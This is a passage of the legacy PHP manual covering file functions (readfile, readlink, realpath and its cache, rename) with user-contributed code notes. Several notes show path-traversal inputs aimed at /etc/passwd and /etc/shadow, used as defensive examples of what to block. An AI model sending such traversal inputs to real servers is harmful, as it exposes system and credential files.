       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>

All I've added is a flush(); after the echo line. Be sure to include this!
Philipp Heckel 11-May-2005 01:58
To use readfile() it is absolutely necessary to set the mime-type before. If you are using an Apache, it's quite simple to figure out the correct mime type. Apache has a file called "mime.types" which can (in normal case) be read by all users.

Use this (or another) function to get a list of mime-types:

<?php

    function mimeTypes($file) {
        if (!is_file($file) || !is_readable($file)) return false;
        $types = array();
        $fp = fopen($file,"r");
        while (false != ($line = fgets($fp,4096))) {
            if (!preg_match("/^\s*(?!#)\s*(\S+)\s+(?=\S)(.+)/",$line,$match)) continue;
            $tmp = preg_split("/\s/",trim($match[2]));
            foreach($tmp as $type) $types[strtolower($type)] = $match[1];
        }
        fclose ($fp);

        return $types;
    }

    # [...]

    # read the mime-types
    $mimes = mimeTypes('/usr/local/apache/current/conf/mime.types');

    # use them ($ext is the extension of your file)
    if (isset($mimes[$ext])) header("Content-Type: ".$mimes[$ext]);
    header("Content-Length: ".@filesize($fullpath));
    readfile($fullpath); exit;

?>

If you do not want to read from the mime.types file directly, you can of course make a copy in another folder!
Cheers Philipp Heckel
flobee at gmail dot com 06-May-2005 08:17
regarding php5:
i found out that there is already a disscussion @php-dev  about readfile() and fpassthru() where only exactly 2 MB will be delivered.

so you may use this on php5 to get lager files
<?php
function readfile_chunked($filename,$retbytes=true) {
    $chunksize = 1*(1024*1024); // how many bytes per chunk
    $buffer = '';
    $cnt =0;
    // $handle = fopen($filename, 'rb');
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        echo $buffer;
        if ($retbytes) {
            $cnt += strlen($buffer);
        }
    }
        $status = fclose($handle);
    if ($retbytes && $status) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;

}
?>
TheDayOfCondor 27-Apr-2005 03:24
I think that readfile suffers from the maximum script execution time. The readfile is always completed even if it exceed the default 30 seconds limit, then the script is aborted.
Be warned that you can get very odd behaviour not only on large files, but also on small files if the user has a slow connection.

The best thing to do is to use

<?
  set_time_limit(0);
?>

just before the readfile, to disable completely the watchdog if you intend to use the readfile call to tranfer a file to the user.
TheDayOfCondor 20-Apr-2005 06:10
Beware - the chunky readfile suggested by Rob Funk can easily exceed you maximum script execution time (30 seconds by default).

I suggest you to use the set_time_limit function inside the while loop to reset the php watchdog.
Thomas Jespersen 25-Oct-2004 03:06
Remember if you make a "force download" script like mentioned below that you SANITIZE YOUR INPUT!

I have seen a lot of  download scripts that does not test so you are able to download anything you want on the server.

Test especially for strings like ".." which makes directory traversal possible. If possible only permit characters a-z, A-Z and 0-9 and make it possible to only download from one "download-folder".


Returns the target of a symbolic link

  • « readfile
  • realpath_cache_get »
  • PHP Manual
  • Filesystem Functions
  • Returns the target of a symbolic link

readlink

(PHP 4, PHP 5)

readlink — Returns the target of a symbolic link

Description

string readlink ( string $path )

readlink() does the same as the readlink C function.

Parameters

path

The symbolic link path.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Return Values

Returns the contents of the symbolic link path or FALSE on error.

Examples

Example #1 readlink() example

<?php

// output e.g. /boot/vmlinux-2.4.20-xfs
echo readlink('/vmlinuz');

?>

See Also

  • is_link() - Tells whether the filename is a symbolic link
  • symlink() - Creates a symbolic link
  • linkinfo() - Gets information about a link

User Contributed Notes

MarkAndrewSlade at gmail dot com 10-Jun-2009 09:35
This will trigger a warning and return false if you pass it a non-symlink.  If the file doesn't exist, it will trigger a differently worded warning.

mslade@jupiter ~$ touch a
mslade@jupiter ~$ ln -s a b
mslade@jupiter ~$ ls -l {a,b}
-rw------- 1 mslade mslade 0 2009-06-10 15:27 a
lrwxrwxrwx 1 mslade mslade 1 2009-06-10 15:27 b -> a
mslade@jupiter ~$ php -r "var_dump(readlink('b'));"
string(1) "a"
mslade@jupiter ~$ php -r "var_dump(readlink('a'));"

Warning: readlink(): Invalid argument in Command line code on line 1
bool(false)
mslade@jupiter ~$ php -r "var_dump(readlink('c'));"

Warning: readlink(): No such file or directory in Command line code on line 1
bool(false)


Get realpath cache entries

  • « readlink
  • realpath_cache_size »
  • PHP Manual
  • Filesystem Functions
  • Get realpath cache entries

realpath_cache_get

(PHP 5 >= 5.3.2)

realpath_cache_get — Get realpath cache entries

Description

array realpath_cache_get ( void )

Get the contents of the realpath cache.

Return Values

Returns an array of realpath cache entries. The keys are original path entries, and the values are arrays of data items, containing the resolved path, expiration date, and other options kept in the cache.

Examples

Example #1 realpath_cache_get() example

<?php
var_dump(realpath_cache_get());
?>

The above example will output something similar to:

array(2) {
  ["/test"]=>
  array(4) {
    ["key"]=>
    int(123456789)
    ["is_dir"]=>
    bool(true)
    ["realpath"]=>
    string(5) "/test"
    ["expires"]=>
    int(1260318939)
  }
  ["/test/test.php"]=>
  array(4) {
    ["key"]=>
    int(987654321)
    ["is_dir"]=>
    bool(false)
    ["realpath"]=>
    string(12) "/root/test.php"
    ["expires"]=>
    int(1260318939)
  }
}

See Also

  • realpath_cache_size() - Get realpath cache size

User Contributed Notes

There are no user contributed notes for this page.


Get realpath cache size

  • « realpath_cache_get
  • realpath »
  • PHP Manual
  • Filesystem Functions
  • Get realpath cache size

realpath_cache_size

(PHP 5 >= 5.3.2)

realpath_cache_size — Get realpath cache size

Description

int realpath_cache_size ( void )

Get the amount of memory used by the realpath cache.

Return Values

Returns how much memory realpath cache is using.

Examples

Example #1 realpath_cache_size() example

<?php
var_dump(realpath_cache_size());
?>

The above example will output something similar to:

int(412)

See Also

  • realpath_cache_get() - Get realpath cache entries
  • The realpath_cache_size configuration option

User Contributed Notes

Stephen Pritchard from Arcanavision 13-Jan-2011 07:18
"realpath_cache_size" is used by PHP to cache the real file system paths of filenames referenced instead of looking them up each time.  Every time you perform any of the various file functions or include/require a file and use a relative path, PHP has to look up where that file really exists. PHP caches those values so it doesn’t have to search the current working directory and include_path for the file you are working on.
If your website uses lots of relative path files, think about increasing this value.  What value is required can be better estimated after monitoring by how fast the cache fills using realpath_cache_size() after restarting. Its contents can be viewed using realpath_cache_get().
superaap at gmail dot com 05-Nov-2010 04:41
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


Returns canonicalized absolute pathname

  • « realpath_cache_size
  • rename »
  • PHP Manual
  • Filesystem Functions
  • Returns canonicalized absolute pathname

realpath

(PHP 4, PHP 5)

realpath — Returns canonicalized absolute pathname

Description

string realpath ( string $path )

realpath() expands all symbolic links and resolves references to '/./', '/../' and extra '/' characters in the input path and returns the canonicalized absolute pathname.

Parameters

path

The path being checked.

Note:

Whilst a path must be supplied, the value can be blank or NULL In these cases, the value is interpreted as the current directory.

Return Values

Returns the canonicalized absolute pathname on success. The resulting path will have no symbolic link, '/./' or '/../' components.

realpath() returns FALSE on failure, e.g. if the file does not exist.

Note:

The running script must have executable permissions on all directories in the hierarchy, otherwise realpath() will return FALSE.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Changelog

Version | Description
5.3.0 | Prior to this release, if only the last path component did not exist, realpath() would not fail on *BSD systems. realpath() now fails in this case.

Examples

Example #1 realpath() example

<?php
chdir('/var/www/');
echo realpath('./../../etc/passwd');
?>

The above example will output:

/etc/passwd

Example #2 realpath() on Windows

On windows realpath() will change unix style paths to windows style.

<?php
echo realpath('/windows/system32');
?>

The above example will output:

C:\WINDOWS\System32

See Also

  • basename() - Returns trailing name component of path
  • dirname() - Returns parent directory's path
  • pathinfo() - Returns information about a file path

User Contributed Notes

ilya-direct at ya dot ru 27-Aug-2014 03:44
It's strange, but  realpath('C:/wamp/www/sdo-test/data') sometime retuns false, use // or \ instead.
Leonard Challis 17-Jul-2013 04:40
When using realpath (and similar functions) remember that PHP will take in to account open_basedir restrictions. So, if you do something like:

<?php
// test.php in httpdocs folder
$path = realpath(dirname(__FILE__) . '/../application');
?>

where your open_basedir setting is set to the httpdocs folder and tmp, this will return false. You must set it to the level above (or off) for this to work.
runeimp at gmail dot com 07-Jun-2013 08:37
Needed a method to normalize a virtual path that could handle .. references that go beyond the initial folder reference. So I created the following.
<?php

function normalizePath($path)
{
    $parts = array();// Array to build a new path from the good parts
    $path = str_replace('\\', '/', $path);// Replace backslashes with forwardslashes
    $path = preg_replace('/\/+/', '/', $path);// Combine multiple slashes into a single slash
    $segments = explode('/', $path);// Collect path segments
    $test = '';// Initialize testing variable
    foreach($segments as $segment)
    {
        if($segment != '.')
        {
            $test = array_pop($parts);
            if(is_null($test))
                $parts[] = $segment;
            else if($segment == '..')
            {
                if($test == '..')
                    $parts[] = $test;

                if($test == '..' || $test == '')
                    $parts[] = $segment;
            }
            else
            {
                $parts[] = $test;
                $parts[] = $segment;
            }
        }
    }
    return implode('/', $parts);
}
?>

Will convert /path/to/test/.././..//..///..///../one/two/../three/filename
to ../../one/three/filename
Anonymous 01-Jun-2012 01:48
Note: If you use this to check if a file exists, it's path will be cached, and returns true even if the file is removed (use file_exists instead).
dbags 08-Jan-2012 10:37
If using Windows junction.exe to create a symlink, it seems impossible to get the real path to the file. Even __FILE__ contains the symlinked path, not the actual path of the file.
php at keith tyler dot com 18-Oct-2011 09:15
Note that under Windows, a slash-rooted path will resolve on the local drive, and *not* necessarily C:\.

For example:

M:\>php -r "print realpath('/AUTOEXEC.BAT');"
[prints nothing, because there is no M:\AUTOEXEC.BAT]

But:

M:\>C:
C:\>php -r "print realpath('/AUTOEXEC.BAT');"
C:\AUTOEXEC.BAT

Same script, different response depending on current drive.

I'm inclined to argue that this function *should* use the value of %SystemDrive% as the "slash root" base.
imagiro 21-Sep-2011 11:20
Here is a small and handy method to calculate the relative path from $from to $to. Note: On Windows it does not work when $from and $to are on different drives.

<?php
function relativePath($from, $to, $ps = DIRECTORY_SEPARATOR)
{
  $arFrom = explode($ps, rtrim($from, $ps));
  $arTo = explode($ps, rtrim($to, $ps));
  while(count($arFrom) && count($arTo) && ($arFrom[0] == $arTo[0]))
  {
    array_shift($arFrom);
    array_shift($arTo);
  }
  return str_pad("", count($arFrom) * 3, '..'.$ps).implode($ps, $arTo);
}
?>
netmosfera at gmail dot com 13-Apr-2011 06:55
please note that realpath is a performance killer

on my sys listing 100 files with realpath takes 0.2 sec (core2quad 6600 x64 4gbddr2)

in most cases, its better to use getcwd() instead and work with dirname() to resolve ".."
Jrg Wagner 11-Jun-2010 09:35
Please be aware that this function does NOT always strip a trailing slash!:

LINUX (tested with PHP 5.2.11):
---
realpath('.')
: string = "/myhttpdfolder"
realpath('./')
: string = "/myhttpdfolder"
realpath('fileadmin')
: string = "/myhttpdfolder/fileadmin"
realpath('fileadmin/')
: string = "/myhttpdfolder/fileadmin"

WINDOWS (tested with PHP 5.2.5):
---
realpath('.')
: string = "C:\\myhttpdfolder"
realpath('./')
: string = "C:\\myhttpdfolder\\"
realpath('fileadmin')
: string = "C:\\myhttpdfolder\\fileadmin"
realpath('fileadmin/')
: string = "C:\\myhttpdfolder\\fileadmin\\"
jpic 13-May-2010 09:04
There is no native function that does the opposite.

Pure-php implementation:

<?php
function getRelativePath( $path, $compareTo ) {
        // clean arguments by removing trailing and prefixing slashes
        if ( substr( $path, -1 ) == '/' ) {
            $path = substr( $path, 0, -1 );
        }
        if ( substr( $path, 0, 1 ) == '/' ) {
            $path = substr( $path, 1 );
        }

        if ( substr( $compareTo, -1 ) == '/' ) {
            $compareTo = substr( $compareTo, 0, -1 );
        }
        if ( substr( $compareTo, 0, 1 ) == '/' ) {
            $compareTo = substr( $compareTo, 1 );
        }

        // simple case: $compareTo is in $path
        if ( strpos( $path, $compareTo ) === 0 ) {
            $offset = strlen( $compareTo ) + 1;
            return substr( $path, $offset );
        }

        $relative  = array(  );
        $pathParts = explode( '/', $path );
        $compareToParts = explode( '/', $compareTo );

        foreach( $compareToParts as $index => $part ) {
            if ( isset( $pathParts[$index] ) && $pathParts[$index] == $part ) {
                continue;
            }

            $relative[] = '..';
        }

        foreach( $pathParts as $index => $part ) {
            if ( isset( $compareToParts[$index] ) && $compareToParts[$index] == $part ) {
                continue;
            }

            $relative[] = $part;
        }

        return implode( '/', $relative );
    }
?>

Some tests forr phpunit:

<?php
    static public function getRelativePathProvider(  )  {
        return array(
            array(
                '/srv/foo/bar',
                '/srv',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar',
                '/srv/',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar/',
                '/srv',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar/',
                '/srv/',
                'foo/bar',
            ),
            array(
                '/srv/foo/bar',
                '/srv/test',
                '../foo/bar',
            ),
            array(
                '/srv/foo/bar',
                '/srv/test/fool',
                '../../foo/bar',
            ),
            array(
                '/srv/mad/xp/mad/model/static/css/uni-form.css',
                '/srv/mad/xp/liria/',
                '../mad/model/static/css/uni-form.css',
            ),
        );
    }

    /**
     * @dataProvider getRelativePathProvider
     */
    public function testGetRelativePath( $path, $compareTo, $expected ) {
        $result = getRelativePath( $path, $compareTo );
        $this->assertEquals( $expected, $result );
    }
?>
roman dot vasicek at email dot cz 03-Dec-2009 06:01
You may want to change script behavior depending on the way how its code is invoked (included by another script / called directly). Following code do the job
<?php
if (realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  // called directly
  ...
} else {
  // included
  ...
}
?>
hrcerqueira at gmail dot com 01-Dec-2009 01:08
if you just need to resolve a path that is not on your system, or you don't want to chdir to it, a simple regular expression can do the trick:

<?php

$p = '/cool/yeah/../zzz';

$p = preg_replace('/\w+\/\.\.\//', '', $p);

echo $p; //outputs /cool/zzz

?>
orssey 16-Apr-2009 10:57
<?php

Class RealPath
{
    private $ServerPath;
    private $ScriptPath;
    private $AddSlashEnd;

    function __construct()
    {
        $this->AddSlashEnd = "";

        $this->ServerPath = $_SERVER['DOCUMENT_ROOT'];
        $this->ScriptPath = substr(dirname($_SERVER['SCRIPT_FILENAME']), strlen($this->ServerPath));
    }

    private function Server($adress)
    {
        $ThisPath = @realpath($adress);
        $ThisPathLength = strlen($ThisPath);

        return substr($ThisPath, strlen($this->ServerPath), $ThisPathLength);
    }

    public function Absolute($adress)
    {
        return $_SERVER['SERVER_NAME'] . $this->Server($adress) . $this->AddSlashEnd;
    }

    public function RelativeServer($adress)
    {
        return $this->Server($adress) . $this->AddSlashEnd;
    }

    public function RelativeScript($adress)
    {
        $ScriptExplode = explode("/", $this->ScriptPath);
        $ServerExplode = explode("/", $this->Server($adress));

        $TmpCount = $ScriptCount = count($ScriptExplode);
        $ServerCount = count($ServerExplode);

        $ReturnPath = "";

        for($i = 1; $i < $TmpCount; $i++)
        {
            if($ScriptExplode[$i] == $ServerExplode[$i])
                --$ScriptCount;
            else
                break;
        }

        for($i = 1; $i < $ScriptCount; $i++)
            $ReturnPath .= "/..";

        for($i = $TmpCount - $ScriptCount + 1; $i < $ServerCount; $i++)
            $ReturnPath .= "/" . $ServerExplode[$i];

        return $ReturnPath . $this->AddSlashEnd;
    }

    public function AddSlash($value)
    {
        if(is_bool($value))
        {
            $this->AddSlashEnd = ($value)? "/" : "";
            return true;
        }
        else
            return false;
    }

}

example:

$ObjectPath = new RealPath;
$ObjectPath->RelativeScript("../a/b../c/d/f../g../h");
info[at]adico.co.il 15-Feb-2009 11:13
for those who want to start realpath on windows platform and looking for example.

OR

for those who want to run zend framework on windows platform using the quick start guide

<?php
define( "_CUR_OS", substr( php_uname( ), 0, 7 ) == "Windows" ? "Win" : "_Nix" );

function checkCurrentOS( $_OS )
{
    if ( strcmp( $_OS, _CUR_OS ) == 0 ) {
        return true;
    }
    return false;
}

// public/index.php
//
// Step 1: APPLICATION_PATH is a constant pointing to our
// application/subdirectory. We use this to add our "library" directory
// to the include_path, so that PHP can find our Zend Framework classes.

if ( checkCurrentOS( "Win" ) ) {
    $mappath = '/' . str_replace( "\\", "/", str_replace( "C:\\","", dirname(__FILE__) ) );
}
else {
    $mappath = dirname(__FILE__);
}

define('APPLICATION_PATH', realpath(  $mappath . '/../_privateadico/application/') );
set_include_path(
    APPLICATION_PATH . '/../library'
    . PATH_SEPARATOR . get_include_path()
);
?>

I took the index.php for zend which is was written for unix and ported it to windows.

The porting problem was with realpath function not understanding dirname(__FILE__) syntex on windows
Isaac Z. Schlueter i at foohack dot com 28-Aug-2008 04:02
If you need to resolve a url against a base url, as the browser does with anchor tags, then realpath won't help, because it's not on your file system.

This function does that:

<?php
function resolve_href ($base, $href) {

    // href="" ==> current url.
    if (!$href) {
        return $base;
    }

    // href="http://..." ==> href isn't relative
    $rel_parsed = parse_url($href);
    if (array_key_exists('scheme', $rel_parsed)) {
        return $href;
    }

    // add an extra character so that, if it ends in a /, we don't lose the last piece.
    $base_parsed = parse_url("$base ");
    // if it's just server.com and no path, then put a / there.
    if (!array_key_exists('path', $base_parsed)) {
        $base_parsed = parse_url("$base/ ");
    }

    // href="/ ==> throw away current path.
    if ($href{0} === "/") {
        $path = $href;
    } else {
        $path = dirname($base_parsed['path']) . "/$href";
    }

    // bla/./bloo ==> bla/bloo
    $path = preg_replace('~/\./~', '/', $path);

    // resolve /../
    // loop through all the parts, popping whenever there's a .., pushing otherwise.
        $parts = array();
        foreach (
            explode('/', preg_replace('~/+~', '/', $path)) as $part
        ) if ($part === "..") {
            array_pop($parts);
        } elseif ($part!="") {
            $parts[] = $part;
        }

    return (
        (array_key_exists('scheme', $base_parsed)) ?
            $base_parsed['scheme'] . '://' . $base_parsed['host'] : ""
    ) . "/" . implode("/", $parts);

}
?>

[EDIT BY danbrown AT php DOT net:  Code contains a bugfix supplied by (Zhenya DOT Morozov AT gmail DOT com) on 23-JAN-09, to address the following issue:
'If your path contains "0" (or any "false" string) directory name, the function removes that directory from the path.']
Sven Arduwie 24-Jun-2008 12:43
Because realpath() does not work on files that do not
exist, I wrote a function that does.
It replaces (consecutive) occurences of / and \\ with
whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
Paths returned by get_absolute_path() contain no
(back)slash at position 0 (beginning of the string) or
position -1 (ending)
<?php
    function get_absolute_path($path) {
        $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = array();
        foreach ($parts as $part) {
            if ('.' == $part) continue;
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return implode(DIRECTORY_SEPARATOR, $absolutes);
    }
?>

A test:
<?php
    var_dump(get_absolute_path('this/is/../a/./test/.///is'));
?>
Returns: string(14) "this/a/test/is"

As you can so, it also produces Yoda-speak. :)
waldemar dot axdorph at gmail dot com 08-Jun-2008 05:49
I made this function so that I could see if a user was trying to go above the current directory.

My top dir:
/var/www/dir/

User wanted
/var/www/

This comes in handy when you're making a php explorer/filemanager and you want your files in the directory above to be private.

Here it is

<?php
//usage
//$dir is the dir you are in
//$dir_top is the highest dir allowed.

//example
/*
if(above_dir('../', '/var/www/filemgr'))
    die('Not allowed. Please stick to your directories');
*/
function above_dir($dir, $dir_top){
    if($dir == $dir_top)
        return false;

    $dir = realpath($dir);
    $dir_top = realpath($dir_top);

    $dir = count(explode('/', $dir));
    $dir_top = count(explode('/', $dir_top));

    if($dir <= $dir_top){
        return true;
    }else{
        return false;
    }
}

?>
131 dot php at cloudyks dot org 20-Mar-2008 02:34
<?php
//rp like, working with absolute/relative path & a little bit shorter :p

function rp($path) {
    $out=array();
    foreach(explode('/', $path) as $i=>$fold){
        if ($fold=='' || $fold=='.') continue;
        if ($fold=='..' && $i>0 && end($out)!='..') array_pop($out);
    else $out[]= $fold;
    } return ($path{0}=='/'?'/':'').join('/', $out);
}
?>
alex at bartl dot net 03-Oct-2007 05:25
Sometimes it is helpful to check for the existance of a file
which might be found by using the include_path like in

<?php
include("file_from_include_path.php");
?>

A simple function iterates the include_path and tries all
possibilites, returns translated_local_path on success or false
if not found.

<?php
function mappath($path_to_translate){
  $IncludePath=explode(PATH_SEPARATOR,get_include_path());
  foreach($IncludePath as $prefix){
    if(substr($prefix,-1)==DIRECTORY_SEPARATOR)
      $prefix=substr($prefix,0,-1);
    $try_path=sprintf("%s%s%s"
      ,$prefix,DIRECTORY_SEPARATOR,$path_to_translate);
    if(file_exists($try_path))return($try_path);
  }
  return false;
}
?>
alban dot lopez+php dot net at gmail dot com 21-Sep-2007 09:15
Here's a little function to return the shortest relative path between dest folder and current folder (you can be replace $_SERVER['PHP_SEFL'] by your variable folder) :

<?php
// if you run in /var/www/

echo UnRealPath ('./'); // return "./"
echo UnRealPath ('./ajax-browser/AJAX-B/scripts/'); // return "./ajax-browser/AJAX-B/scripts/"
echo UnRealPath ('/var/'); // return "./../"
echo UnRealPath ('/opt/picasa/wine/'); // return "./../../opt/picasa/wine/"

function UnRealPath ($dest)
{
    $Ahere = explode ('/', realpath($_SERVER['PHP_SEFL']));
    $Adest = explode ('/', realpath($dest));
    $result = '.'; // le chemin retouné dois forcement commancé par ./   c'est le but
    while (implode ('/', $Adest) != implode ('/', $Ahere))// && count ($Adest)>0 && count($Ahere)>0 )
    {
        if (count($Ahere)>count($Adest))
        {
            array_pop($Ahere);
            $result .= '/..';
        }
        else
        {
            array_pop($Adest);
        }
    }
    return str_replace('//', '/', $result.str_replace(implode ('/', $Adest), '', realpath($dest)).(@is_dir(realpath($dest))?'/':''));
}
?>
Santosh Patnaik 20-Aug-2007 11:52
Given real paths of two files, this function finds the relative path of one ($dest) with respect to the other ($root).

<?php
echo rel_path('a/b/c', 'd/e'); // './../../a/b/c'
echo rel_path('a/b/c', 'a/b/c/d/e'); // './../..'
echo rel_path('a/b/c/d/e', 'a/b/c'); // './d/e'

function rel_path($dest, $root = '', $dir_sep = '/')
{
 $root = explode($dir_sep, $root);
 $dest = explode($dir_sep, $dest);
 $path = '.';
 $fix = '';
 $diff = 0;
 for($i = -1; ++$i < max(($rC = count($root)), ($dC = count($dest)));)
 {
  if(isset($root[$i]) and isset($dest[$i]))
  {
   if($diff)
   {
    $path .= $dir_sep. '..';
    $fix .= $dir_sep. $dest[$i];
    continue;
   }
   if($root[$i] != $dest[$i])
   {
    $diff = 1;
    $path .= $dir_sep. '..';
    $fix .= $dir_sep. $dest[$i];
    continue;
   }
  }
  elseif(!isset($root[$i]) and isset($dest[$i]))
  {
   for($j = $i-1; ++$j < $dC;)
   {
    $fix .= $dir_sep. $dest[$j];
   }
   break;
  }
  elseif(isset($root[$i]) and !isset($dest[$i]))
  {
   for($j = $i-1; ++$j < $rC;)
   {
    $fix = $dir_sep. '..'. $fix;
   }
   break;
  }
 }
  return $path. $fix;
}
?>
berglov1 at hotmail dot com 24-Jul-2007 04:22
There might be other solutions like mine in here,
but here is one more.

This function converts Virtual Paths into Relative Paths.
I needed that at one time, and I did'nt have much luck finding a solution amongst the PHP Functions in the manual.

<?php
function GetPath($RedPath) {

  if(substr($RedPath, 0, 1) == "/") {
    $SysPath = dirname($_SERVER['PHP_SELF']);

    if(substr($RedPath, -1) == "/") $RedPath = substr($RedPath, 0, -1);

    if(strlen($SysPath) == 1)
      return ".".$RedPath;
    elseif(strcmp($SysPath,$RedPath) == 0)
      return "./";

    else {
      $s_tmp = split("/", $SysPath);
      $r_tmp = split("/", $RedPath);

      while(($r_tmp[$i] == $s_tmp[$i]) && $i < 10)
        $i++;

      $t_RedPath = end(split("/", $RedPath, ($i+1)));

      if($i == count($s_tmp))
        return "./".$t_RedPath;
      else
        return str_repeat("../", count($s_tmp)-$i).$t_RedPath;
    }
  }
  else
    return $RedPath;

}
?>
julabz at laposte dot net 16-Jul-2007 08:49
Here's a little function to return the relative path between two urls:

<?php

    function get_relative_path($start_dir, $final_dir){
        //
        $firstPathParts = explode(DIRECTORY_SEPARATOR, $start_dir);
        $secondPathParts = explode(DIRECTORY_SEPARATOR, $final_dir);
        //
        $sameCounter = 0;
        for($i = 0; $i < min( count($firstPathParts), count($secondPathParts) ); $i++) {
            if( strtolower($firstPathParts[$i]) !== strtolower($secondPathParts[$i]) ) {
                break;
            }
            $sameCounter++;
        }
        if( $sameCounter == 0 ) {
            return $final_dir;
        }
        //
        $newPath = '';
        for($i = $sameCounter; $i < count($firstPathParts); $i++) {
            if( $i > $sameCounter ) {
                $newPath .= DIRECTORY_SEPARATOR;
            }
            $newPath .= "..";
        }
        if( count($newPath) == 0 ) {
            $newPath = ".";
        }
        for($i = $sameCounter; $i < count($secondPathParts); $i++) {
            $newPath .= DIRECTORY_SEPARATOR;
            $newPath .= $secondPathParts[$i];
        }
        //
        return $newPath;
    }

?>
richpageau at yahoo dot co dot uk 26-Jun-2007 08:55
This is my attempt at writing a realpath replacement. I needed to to run some Adobe code on a server with realpath disabled and this seemed to do the job. It is written for a unix server, I suppose it could be made cross platform using DIRECTORY_SEPARATOR. (With thanks to Marc Noirot for his code).

<?php
function myRealPath($path) {

    // check if path begins with "/" ie. is absolute
    // if it isnt concat with script path
    if (strpos($path,"/") !== 0) {
        $base=dirname($_SERVER['SCRIPT_FILENAME']);
        $path=$base."/".$path;
    }

    // canonicalize
    $path=explode('/', $path);
    $newpath=array();
    for ($i=0; $i<sizeof($path); $i++) {
        if ($path[$i]==='' || $path[$i]==='.') continue;
           if ($path[$i]==='..') {
              array_pop($newpath);
              continue;
        }
        array_push($newpath, $path[$i]);
    }
    $finalpath="/".implode('/', $newpath);

    // check then return valid path or filename
    if (file_exists($finalpath)) {
        return ($finalpath);
    }
    else return FALSE;
}
?>
David Beck 23-Nov-2006 04:38
Here's a function to canonicalize a URL containing relative paths. Ran into the problem when pulling links from a remote page.

<?php

function canonicalize($address)
{
    $address = explode('/', $address);
    $keys = array_keys($address, '..');

    foreach($keys AS $keypos => $key)
    {
        array_splice($address, $key - ($keypos * 2 + 1), 2);
    }

    $address = implode('/', $address);
    $address = str_replace('./', '', $address);
}

$url = 'http://www.example.com/something/../else';
echo canonicalize($url); //http://www.example.com/else

?>
php.netatjulian-lemburg.de 20-Jul-2005 05:55
You have a realpath.
Now you want a htmlpath.

First Suggestion:
<?php

function htmlpath($relative_path) {
   $realpath=realpath($relative_path);
   $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
   return $htmlpath;
}
?>

But this does not work on some servers.

Second Suggestion:

<?php

function htmlpath($realpath) {
   $i = substr_count($_ENV["SCRIPT_URL"],'/')."<br>";
   $baserealpath=realpath(str_repeat('../',$i-1));
   $htmlpath=str_replace($baserealpath,'',$realpath);
   return $htmlpath;
}

?>
Lars Scheithauer <l dot scheithauer at gmx dot de> 08-Jun-2005 07:44
This function is also nice to test for security-breaches. You can forbid the script to access files below a certain directory to prevent "../../../etc/shadow" and similar attacks:

<?php

// declare the basic directory for security reasons
// Please do NOT attach a "/"-suffix !
$basedir = '/var/www/cgi-bin/scriptfolder';

// compare the entered path with the basedir
$path_parts = pathinfo($_REQUEST['file_to_get']);
if (realpath($path_parts['dirname']) != $basedir) {
    /* appropriate action against crack-attempt*/
    die ('coding good - h4x1ng bad!');
}

?>

The url "script.php?file_to_get=../../../etc/shadow" will now result in an error.
pulstar at ig dot com dot br 20-Dec-2004 10:43
Sometimes you may need to refer to the absolute path of a file in your website instead of a relative path, but the realpath() function returns the path relative to the server's filesystem, not a path relative to your website root directory.

For example, realpath() may return something like this:

/home/yoursite/public_html/dir1/file.ext

You can't use this in an HTML document, because the web server will not find the file. To do so, you can use:

<?php

function htmlpath($relative_path) {
    $realpath=realpath($relative_path);
    $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
    return $htmlpath;
}

echo '<img src="',htmlpath('../../relative/path/to/file.ext'),'" border=1>';

?>

It will return something like:

<img src="/dir1/relative/path/to/file.ext" border=1>
eric at themepark dot com 18-Jul-2002 03:15
note that realpath() will chop any trailing delimiter like \ or / ...don't forget to add it back on if you need it.

Eric Mueller - themepark.com
jemptyg at rwmc dot net 06-Jul-2001 12:38
realpath() seems to be equivalent to ASP's Server.MapPath.  On my Win2k box I have successfully used realpath() to give me the full path for a file outside of the document_root.  This will be very useful in conjunction with is_dir and/or is_file, which require a full path.
jerome at dot451 dot com 28-Aug-2000 09:03
mkdir (and realpath) did not work because i'd used virtual() function to replace server side include in my file.
And i've just seen that virtual() function changes the current directory ... that's why !

jerome ;)


Renames a file or directory

  • « realpath
  • rewind »
  • PHP Manual
  • Filesystem Functions
  • Renames a file or directory

rename

(PHP 4, PHP 5)

rename — Renames a file or directory

Description

bool rename ( string $oldname , string $newname [, resource $context ] )

Attempts to rename oldname to newname, moving it between directories if necessary. If newname exists, it will be overwritten.

Parameters

oldname

Note:

The old name. The wrapper used in oldname must match the wrapper used in newname.

newname

The new name.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.1 | rename() can now rename files across drives in Windows.
5.0.0 | rename() can now also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support rename().
4.3.3 | rename() may now be able to rename files across partitions on *nix based systems, provided the appropriate permissions are held. Warnings may be generated if the destination filesystem doesn't permit chown() or chmod() system calls to be made on files — for example, if the destination filesystem is a FAT filesystem.

Examples

Example #1 Example with rename()

<?php
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
?>

See Also

  • copy() - Copies file
  • unlink() - Deletes a file
  • move_uploaded_file() - Moves an uploaded file to a new location

User Contributed Notes

mikhail dot v dot gavrilov at gmail dot com 02-Oct-2014 03:17
